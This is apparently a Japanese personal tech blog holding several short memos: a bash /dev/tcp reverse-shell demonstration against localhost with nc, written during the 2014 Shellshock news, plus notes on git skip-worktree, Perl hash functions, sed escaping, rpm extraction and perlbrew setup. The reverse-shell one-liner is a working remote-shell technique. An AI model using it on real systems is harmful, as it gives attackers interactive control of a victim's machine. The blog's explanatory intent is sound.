bashのリダイレクト(リバースシェル)について
朝からbashの脆弱性で盛り上がってますが、ちょっと調べていて bash の機能を使って Reverse Shell できるそうなので、そのメモ。
http://d.hatena.ne.jp/ukky3/20080420/1208672083
基本上記のブログ通り。
● SHELL1
nc -l -k 8080
● SHELL2
exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5
● SHELL1
nc -l -k 8080 date Thu Sep 25 14:22:01 JST 2014 hostname hkobayash01
SHELL1 でコマンド打つと結果が帰ってきます。
exec してるところが呪文すぎるので、manpage 見るとちゃんと載ってる。
http://linuxjm.sourceforge.jp/html/GNU_bash/man1/bash.1.html
読み書きのためのファイル・ディスクリプターのオープン
リダイレクト演算子
[n]<>word
を使うと、 word を展開した結果の名前を持つファイルがファイル・ディスクリプター n での読み書きのためにオープンされます。 n が指定されていなければ、 ファイル・ディスクリプター 0 で読み書きが行われます。 ファイルが存在しなければ、新しく生成されます。
/dev/tcp/host/port
host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、 bash は対応するソケットに対して TCP 接続のオープンを試みます。
ファイル・ディスクリプターの複製
リダイレクト演算子
[n]<&word
を使うと入力ファイル・ディスクリプターを複製できます。 word が 1 桁以上の数値に展開された場合、 n で示されるファイル・ディスクリプターが生成され、 word で指定された数値のファイル・ディスクリプターのコピーとなります。 word に含まれる数値が入力用にオープンされたファイル・ディスクリプターを 指していない場合、リダイレクト・エラーが起きます。 word を評価した結果が - となった場合、ファイル・ディスクリプター n はクローズされます。 n が指定されていない場合、標準入力 (ファイル・ディスクリプター 0) が使われます。
同様に、演算子
[n]>&word
を使って出力ファイル・ディスクリプターを複製できます。 n が指定されていない場合は、標準出力 (ファイル・ディスクリプター 1) が使われます。 word に含まれる数値が、出力用にオープンされた ファイル・ディスクリプターを指していない場合、 リダイレクト・エラーが起きます。特別な場合ですが、 n が省略され、かつ word が 1 桁以上の数字には展開されなかった場合、 前に説明したように標準出力と標準エラー出力がリダイレクトされます。
つまり、
は読み書き用に fd5 をオープンして、127.0.0.1:8080 と関連付けして、その後 sh を起動して、標準入出力とエラー出力をfd5につなげているっぽい。
bash にはこんな機能もあったのかって感じでした。
他にも、プロセス置換機能などいろいろあるっぽい。
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://x86-64.jp/blog/CVE-2014-6271
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html
すでにコミット済みのファイルを無視する & git 軽量化
コード読みたくて clone したら一緒に管理されてる gif やら png やらその他のバイナリファイルも
clone されて DISK 圧迫するからそこら辺は消して無視したい。
gitignore や .git/info/exclude で無視しようとしても、すでにコミットされてるから無視できない。
そんな時は、下記の方法を使う。
1.assume-unchanged
#無視 git update-index --assume-unchanged [ファイル名] #無視解除 git update-index --no-assume-unchanged [ファイル名]
2.skip-worktree
#無視 git update-index --skip-worktree [ファイル名] #無視解除 git update-index --no-skip-worktree [ファイル名]
どちらでも、無視してくれる。
2つのコマンドの違いは、無視されたファイルの変更を維持するかどうか。
前者は変更されても、変更されてないと扱う。
なので、リモートのファイルに変更がある状態で git pull するリモートのファイルが取り込まれる。
後者の場合は、取り込まれない。
設定を確認するには、下記のコマンド
git ls-files -v
git pull して、バイナリファイルが戻ってくると嫌なので、
下記のコマンドで、バイナリファイルとかを無視して一括で削除。
find . -type f \( -name \*.gif -o -name \*.swf -o -name \*.png -o -name \*.jpg \) -print0 | xargs -0 git update-index --skip-worktree find . -type f \( -name \*.gif -o -name \*.swf -o -name \*.png -o -name \*.jpg \) -print0 | xargs -0 rm -f
1.9Gあったリポジトリが、1.2Gまで小さくなった。
git status しても差分は出てこない。
さらに、下記のコマンドを実行すると1.1Gまで小さくなった。
git gc --aggressive
そこそこ満足。
もっと小さくできないかは引き続き調べる。
参考
http://blog.bbtune.com/archives/1329/to-ignore-uncommitted-changes-in-a-file-that-is-already-tracked
http://qiita.com/items/56d0d3ba7a1300625f92
http://d.hatena.ne.jp/stakizawa/20080522/t1
http://techracho.bpsinc.jp/baba/2012_05_22/5594
ハッシュで使われるハッシュ関数を利用する方法
巷で噂のperl の脆弱性について調べ中。
http://blog.perlassociation.org/2013/03/perl.html
衝突するキーを探したくて、ハッシュ値の計算方法を調べてたけど、
Bモジュールを使えば良さそう.
#! /bin/perl
use strict;
use warnings;
use B qw(hash);print hash("test");
実行すると、下記のような結果が得られる.
0x3f75ccc1
追記
hash の返り値は文字列なので、数値として扱うには hex() 関数を通すとよさげ。
参考
http://mikeneko.creator.club.ne.jp/~lab/perl/numerical_transform/
変数内のスラッシュをエスケープ
参考:http://oshiete.goo.ne.jp/qa/4356597.html
シェルスクリプトで変数にファイルのパスを保存しているとき、その変数を使ってsedやらawkで置換したい場合にスラッシュをエスケープしないとエラーになるのでその対処方法。
FILE=/file/to/path ESCAPE=`echo $FILE | sed "s/\//\\\\\\\\\//g"` sed "s/filepath/$ESCAPE" hoge
\が9個並んでて意味わからん。
これでできることはわかったが、なんでこれでいいのかが全然わからん。。。
rpm の中身を見る
参考1:http://www.atmarkit.co.jp/flinux/rensai/linuxtips/956rpmdevextract.html
参考2:http://database-tearoom.seesaa.net/article/15091713.html
RPMパッケージからファイルを取り出す
# yum install rpmdevtools $ rpmdev-extract *.rpm
perlbrew インストール
パッケージ周りの管理はもともとされてたけど、最近は(?)本体もホームに置いて管理できるやつが流行りっぽいね。
まぁそのほうが、管理者権限なくても色々できるからレンタルサーバ等で便利だし、OSのアップデート等でバージョン上がって動かないって問題にも対処しやすいのかね。
ということで、perlbrew を入れてみた。
# perlの場合はバージョン上がって動かないってのはあんまり無さそうだけど。
# Ruby や node.js あたりは多そうだから、rvmやらnvm は重宝しそう。
参考1:http://blog.kiftwi.net/2011/08/02/os-x-lion%E3%81%ABperlbrew%E3%81%A8cpanm%E3%82%92%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%81%97%E3%81%A6perl%E7%92%B0%E5%A2%83%E3%82%92%E6%95%B4%E3%81%88%E3%82%8B/
参考2:http://www.perlbrew.pl/
まぁ書いてあるとおりにするだけなんだけど。
デフォルトだと ~/perl5 にインストールされるので、 ~/.perlbrew に変更。
$ export PERLBREW_ROOT=$HOME/.perlbrew $ curl -L http://xrl.us/perlbrewinstall | bash $ echo 'source ~/.perlbrew/etc/bashrc' >> ~/.bashrc $ source ~/.bashrc $ perlbrew init
source ~/.perlbrew/etc/bashrc を~/.bashrc に追加とか出てくるけど、すでにしてあるのでスルー
$ perlbrew available perl-5.14.2-RC1 perl-5.14.1 perl-5.12.4 perl-5.10.1 perl-5.8.9 perl-5.6.2 perl5.005_04 perl5.004_05 perl5.003_07
利用可能な perl 一覧。とりあえず、perl-5.14.1をインストール。
$ perlbrew install perl-5.14.1 $ perlbrew switch perl-5.14.1 $ perlbrew list * perl-5.14.1 /usr/bin/perl (5.10.1)
これで、5.14.1にバージョンアップされた。
とりあえず、よく使いそうなコマンドは以下のとおり。
switch-off :システムにインストールされた perl に切り替え。
self-upgrade : prelbrew 自身を更新してくれる。
install-cpanm : cpanm をインストール。
今まで cpanm はアプリケーションごとに毎回手動でダウンロードしていたので、これでその手間からおさらばできる。
ついでに、参考にしたサイトで紹介されていたモジュール管理のソフトも入れておく。
$ cpanm App::pmuninstall $ cpanm App::cpanoutdated $ cpan-outdated | cpanm
↑のコマンドで、古いモジュールを更新してくれる。
便利!